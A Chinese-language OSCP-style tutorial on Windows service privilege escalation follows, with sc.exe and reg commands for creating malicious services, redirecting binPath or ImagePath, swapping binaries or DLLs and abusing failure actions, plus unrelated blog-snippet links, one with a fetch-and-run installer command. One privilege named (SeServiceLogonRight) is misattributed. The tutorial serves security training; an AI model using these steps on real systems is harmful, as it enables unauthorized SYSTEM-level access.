OSCP:Windows 服务提权详解
在Windows操作系统中,服务是一种特殊的后台进程,它们通常以较高的权限(如 SYSTEM 或 Administrator)运行。攻击者可以通过控制服务的创建、配置或运行过程实现权限提升(提权)。本文将详细分析Windows服务提权的原理,并结合具体应用场景讲解其实现方法。
Windows服务提权的原理
服务(Service)通常在系统启动时运行,具备较高的权限级别。这些服务通过注册表进行配置,并依赖特定的文件路径加载相关程序或DLL。当服务的创建或配置存在安全漏洞时,攻击者便可通过以下方式实现提权:
- 创建新服务并指向恶意程序。
- 修改现有服务的配置(如文件路径或参数)。
- 替换服务所依赖的二进制文件或DLL。
- 利用服务注册表配置错误。
攻击的核心在于利用高权限服务执行恶意代码,从而提升攻击者的权限。
常见的提权场景及实现方法
场景1:用户拥有配置服务的特权
在一些环境中,用户可能被授予管理服务的权限,但并不具备管理员权限。这种情况下,攻击者可以通过 sc.exe 或 PowerShell 等工具创建或修改服务,从而执行恶意程序并提权。
操作步骤
-
使用
sc.exe创建一个恶意服务:sc.exe create MaliciousService binPath= "C:\Path\To\Payload.exe" start= auto -
启动服务:
sc.exe start MaliciousService -
恶意程序
Payload.exe将以服务的权限运行,通常是SYSTEM权限。
关键点分析
- 攻击者需要具备“配置服务”特权(如
SeServiceLogonRight)。 - 该方法适用于目标环境中权限管理不当的情况。
场景2:修改现有服务的配置
当攻击者无法直接创建服务,但能修改现有服务的配置时,可以将合法服务劫持为恶意服务。例如,通过修改服务的 binPath 实现对服务行为的控制。
操作步骤
-
查询现有服务:
sc.exe query -
查看服务的详细信息:
sc.exe qc LegitService -
修改服务的可执行文件路径为恶意程序:
sc.exe config LegitService binPath= "C:\Path\To\Payload.exe" -
启动服务:
sc.exe start LegitService
关键点分析
- 此方法利用的是服务配置的不安全性。
- 攻击者无需新建服务,只需控制现有服务的行为。
场景3:劫持服务的DLL或二进制文件
一些服务在运行时需要加载特定的DLL或依赖文件,如果这些文件路径未受到严格保护,攻击者可以替换或插入恶意文件,服务启动后会自动加载这些文件并执行。
操作步骤
-
查询服务的二进制路径:
sc.exe qc TargetService -
检查目标文件路径的权限:
icacls "C:\Path\To\ServiceBinary" -
替换文件:
- 将合法文件替换为恶意程序或DLL。
-
重启服务以加载新的文件:
sc.exe start TargetService
关键点分析
- 替换文件的前提是攻击者对文件路径具有写权限。
- 常见的DLL劫持还可以通过服务的加载顺序和未定义路径变量来实现。
场景4:利用注册表配置错误
Windows服务的配置信息通常存储在注册表中,如果这些注册表项权限配置不当,攻击者可以修改其中的关键参数(如 ImagePath),将服务劫持为恶意服务。
操作步骤
-
查询服务的注册表路径:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" -
查看
ImagePath配置:reg query "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" /v ImagePath -
修改注册表项,将可执行文件路径改为恶意程序:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" /v ImagePath /t REG_EXPAND_SZ /d "C:\Path\To\Payload.exe" /f -
启动服务:
sc.exe start <ServiceName>
关键点分析
- 注册表配置错误通常是由于管理员未合理限制访问权限。
- 攻击者可通过替换服务路径实现对服务行为的完全控制。
场景5:利用服务失败重启机制
Windows服务支持失败后自动重启的功能,攻击者可以修改服务的 FailureActions 配置,使其在失败时执行恶意程序。
操作步骤
-
查询服务的配置:
sc.exe qfailure <ServiceName> -
修改
FailureActions:sc.exe failure <ServiceName> reset= 0 actions= restart/6000/run/1000 -
指定失败后运行的程序路径:
sc.exe config <ServiceName> binPath= "C:\Path\To\Payload.exe" -
强制停止服务以触发重启:
sc.exe stop <ServiceName>
关键点分析
- 利用服务的自动恢复机制实现对服务的恶意控制。
- 该方法常用于隐蔽性更强的攻击场景。
总结
Windows服务提权是一种常见且有效的权限提升技术。通过创建新服务、修改现有服务配置、劫持服务文件或注册表,攻击者可以利用服务的高权限特性执行恶意代码。在实际攻击场景中,应结合环境权限、服务配置及文件路径等多方面信息选择最优的提权方法。
相关文章:
OSCP:Windows 服务提权详解
在Windows操作系统中,服务是一种特殊的后台进程,它们通常以较高的权限(如 SYSTEM 或 Administrator)运行。攻击者可以通过控制服务的创建、配置或运行过程实现权限提升(提权)。本文将详细分析Windows服务提…...
星火大模型接入及文本生成HTTP流式、非流式接口(JAVA)
文章目录 一、接入星火大模型二、基于JAVA实现HTTP非流式接口1.配置2.接口实现(1)分析接口请求(2)代码实现 3.功能测试(1)测试对话功能(2)测试记住上下文功能 三、基于JAVA实现HTTP流…...
21.Word:小赵-毕业论文排版❗【39】
目录 题目 NO1.2 NO3.4 NO5.6 NO7.8.9 NO10.11.12 题目 NO1.2 自己的论文当中接收老师的修改:审阅→比较→源文档:考生文件夹:Word.docx→修订的文档:考生文件夹:教师修改→确定→接收→接收所有修订将合并之…...
Python中的函数(上)
Python中的函数是非常重要的编程概念,以下是详细的介绍: 函数定义基础 在Python中,函数是组织好的、可重复使用的代码块,用于执行特定任务。通过函数,我们可以将复杂的程序分解为较小的、更易管理的部分,…...
Windows11 安装poetry
使用powershell安装 (Invoke-WebRequest -Uri https://install.python-poetry.org -UseBasicParsing).Content | py - 如果使用py运行失败则替换为python即可 终端运行结果如下 D:\AI\A_Share_investment_Agent> (Invoke-WebRequest -Uri https://install.python-poetry.…...
浅谈Linux 权限、压缩、进程与服务
概述 放假回家,对Linux系统的一些知识进行重新的整理,做到温故而知新,对用户权限管理、文件赋权、压缩文件、进程与服务的知识进行了一次梳理和总结。 权限管理 Linux最基础的权限是用户和文件,先了解基础的用户权限和文件权限…...
006 LocalStorage和SessionStorage
JWT存储在LocalStorage与SessionStorage里的区别和共同点如下: 区别 数据有效期: • LocalStorage:始终有效,存储的数据会一直保留在浏览器中,即使窗口或浏览器关闭也一直保存,因此常用作持久数据。 • Se…...
AJAX RSS Reader:技术解析与应用场景
AJAX RSS Reader:技术解析与应用场景 引言 随着互联网的快速发展,信息量呈爆炸式增长。为了方便用户快速获取感兴趣的信息,RSS(Really Simple Syndication)技术应运而生。AJAX RSS Reader作为一种基于AJAX技术的信息读取工具,在用户体验和信息获取方面具有显著优势。本…...
Go优雅实现redis分布式锁
前言 系统为了保证高可用,通常会部署多实例,并且会存在同时对共享资源并发读写,这时候为了保证读写的安全,常规手段是会引入分布式锁,本文将介绍如何使用redis设计一个优雅的Go分布式锁。 设计 redis分布式锁是借助…...
本地部署deepseek模型步骤
文章目录 0.deepseek简介1.安装ollama软件2.配置合适的deepseek模型3.安装chatbox可视化 0.deepseek简介 DeepSeek 是一家专注于人工智能技术研发的公司,致力于打造高性能、低成本的 AI 模型,其目标是让 AI 技术更加普惠,让更多人能够用上强…...
(2025 年最新)MacOS Redis Desktop Manager中文版下载,附详细图文
MacOS Redis Desktop Manager中文版下载 大家好,今天给大家带来一款非常实用的 Redis 可视化工具——Redis Desktop Manager(简称 RDM)。相信很多开发者都用过 Redis 数据库,但如果你想要更高效、更方便地管理 Redis 数据&#x…...
C++ 写一个简单的加减法计算器
************* C topic:结构 ************* Structure is a very intersting issue. I really dont like concepts as it is boring. I would like to cases instead. If I want to learn something, donot hesitate to make shits. Like building a house. Wh…...
计算机网络基础 - 链路层(3)
计算机网络基础 链路层和局域网交换局域网链路层寻址地址解析协议 ARP以太网物理拓扑以太网帧结构以太网提供的服务以太网标准 链路层交换机交换机转发和过滤自学习交换机优点交换机和路由器比较 大家好呀!我是小笙,本章我主要分享计算机网络基础 - 链路…...
ray.rllib 入门实践-5: 训练算法
前面的博客介绍了ray.rllib中算法的配置和构建,也包含了算法训练的代码。 但是rllib中实现算法训练的方式不止一种,本博客对此进行介绍。很多教程使用 PPOTrainer 进行训练,但是 PPOTrainer 在最近的 ray 版本中已经取消了。 环境配置&#x…...
FPGA 使用 CLOCK_LOW_FANOUT 约束
使用 CLOCK_LOW_FANOUT 约束 您可以使用 CLOCK_LOW_FANOUT 约束在单个时钟区域中包含时钟缓存负载。在由全局时钟缓存直接驱动的时钟网段 上对 CLOCK_LOW_FANOUT 进行设置,而且全局时钟缓存扇出必须低于 2000 个负载。 注释: 当与其他时钟约束配合…...
选择的阶段性质疑
条条大路通罗马,每个人选择的道路,方向并不一样,但不妨碍都可以到达终点,而往往大家会更推崇自己走过的路径。 自己靠什么走向成功,自己用了什么方法,奉行什么原则或者理念,也会尽可能传播这种&…...
固有频率与模态分析
目录 引言 1. 固有频率:物体的“天生节奏” 1.1 定义 1.2 关键特点 1.3 实际意义 2. 有限元中的模态分析:给结构“体检振动” 2.1 模态分析的意义 2.2 实际案例 2.2.1 桥梁模态分析 2.2.2 飞机机翼模态分析 2.2.3 具体事例 3. 模态分析的工具…...
数科OFD证照生成原理剖析与平替方案实现
一、 引言 近年来,随着电子发票的普及,OFD格式作为我国电子发票的标准格式,其应用范围日益广泛。然而,由于不同软件生成的OFD文件存在差异,以及用户对OFD文件处理需求的多样化,OFD套餐转换工具应运而生。本…...
CAN总线数据采集与分析
CAN总线数据采集与分析 目录 CAN总线数据采集与分析1. 引言2. 数据采集2.1 数据采集简介2.2 数据采集实现3. 数据分析3.1 数据分析简介3.2 数据分析实现4. 数据可视化4.1 数据可视化简介4.2 数据可视化实现5. 案例说明5.1 案例1:数据采集实现5.2 案例2:数据分析实现5.3 案例3…...
SpringSecurity:There is no PasswordEncoder mapped for the id “null“
文章目录 一、情景说明二、分析三、解决 一、情景说明 在整合SpringSecurity功能的时候 我先是去实现认证功能 也就是,去数据库比对用户名和密码 相关的类: UserDetailsServiceImpl implements UserDetailsService 用于SpringSecurity查询数据库 Logi…...
RAG 失效的真正原因,长上下文救不了 RAG
最早大家做 RAG,是因为模型上下文太短,一次塞不进完整文档,只能先检索,再把相关片段交给模型回答。后来,模型上下文窗口越来越长,从 32K、128K 到百万 token,很多人开始觉得:RAG 可能…...
Silk-v3-decoder:打破即时通讯音频格式壁垒的专业解码方案
Silk-v3-decoder:打破即时通讯音频格式壁垒的专业解码方案 【免费下载链接】silk-v3-decoder [Skype Silk Codec SDK]Decode silk v3 audio files (like wechat amr, aud files, qq slk files) and convert to other format (like mp3). Batch conversion support. …...
5分钟快速上手Tesseract OCR:从零开始掌握开源文字识别技术
5分钟快速上手Tesseract OCR:从零开始掌握开源文字识别技术 【免费下载链接】tesseract Tesseract Open Source OCR Engine (main repository) 项目地址: https://gitcode.com/gh_mirrors/tes/tesseract 你是否曾经需要从图片中提取文字,却苦于没…...
别再手动找数据了!用SPSS的‘添加变量’功能,5分钟搞定跨表数据匹配
SPSS数据合并实战:用‘添加变量’功能高效匹配跨表数据 在数据分析的日常工作中,我们常常遇到这样的场景:市场部门提供了一份客户基本信息表,销售团队则提交了季度消费记录,两份数据都包含客户ID字段但其他信息分散在不…...
三步构建高效笔记迁移系统:Obsidian Importer完全指南
三步构建高效笔记迁移系统:Obsidian Importer完全指南 【免费下载链接】obsidian-importer Obsidian Importer lets you import notes from other apps and file formats into your Obsidian vault. 项目地址: https://gitcode.com/gh_mirrors/ob/obsidian-import…...
如何用memtest_vulkan快速检测GPU显存稳定性:终极免费测试指南
如何用memtest_vulkan快速检测GPU显存稳定性:终极免费测试指南 【免费下载链接】memtest_vulkan Vulkan compute tool for testing video memory stability 项目地址: https://gitcode.com/gh_mirrors/me/memtest_vulkan 当你的游戏突然崩溃、AI训练意外中断…...
从硬开关到软开关:推挽谐振变换器原理与PSIM仿真实战
1. 从经典到谐振:为什么我们需要推挽变换器?在电源设计的工具箱里,推挽变换器(Push-Pull Converter)绝对算得上是一位“老将”。它的核心思想非常直观:利用一个带中心抽头的变压器,让两个开关管…...
如何通过浏览器脚本实现网盘文件直链下载:LinkSwift 完全指南
如何通过浏览器脚本实现网盘文件直链下载:LinkSwift 完全指南 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云盘…...
从SRResNet到实战:基于Pytorch的图像超分辨率重建全流程解析
1. 图像超分辨率重建基础入门 第一次接触图像超分辨率技术时,我被它的魔法般的效果震撼到了。简单来说,这项技术就是让模糊的老照片变清晰,让低分辨率的监控画面呈现更多细节。在实际项目中,我经常遇到客户拿着十几年前的老照片希…...
在Matlab中绘制圆锥三维曲面图
这篇博文按参考书绘制圆锥三维曲面图,是在“在Matlab中绘制圆锥三维曲面图”的基础上,调整Z的表达式得到的。已知:z(x^2y^2)^(1/2)。要求:绘制[-20,20]区间的曲面图。在matlab命令行窗口输入以下程序:x-20:…...
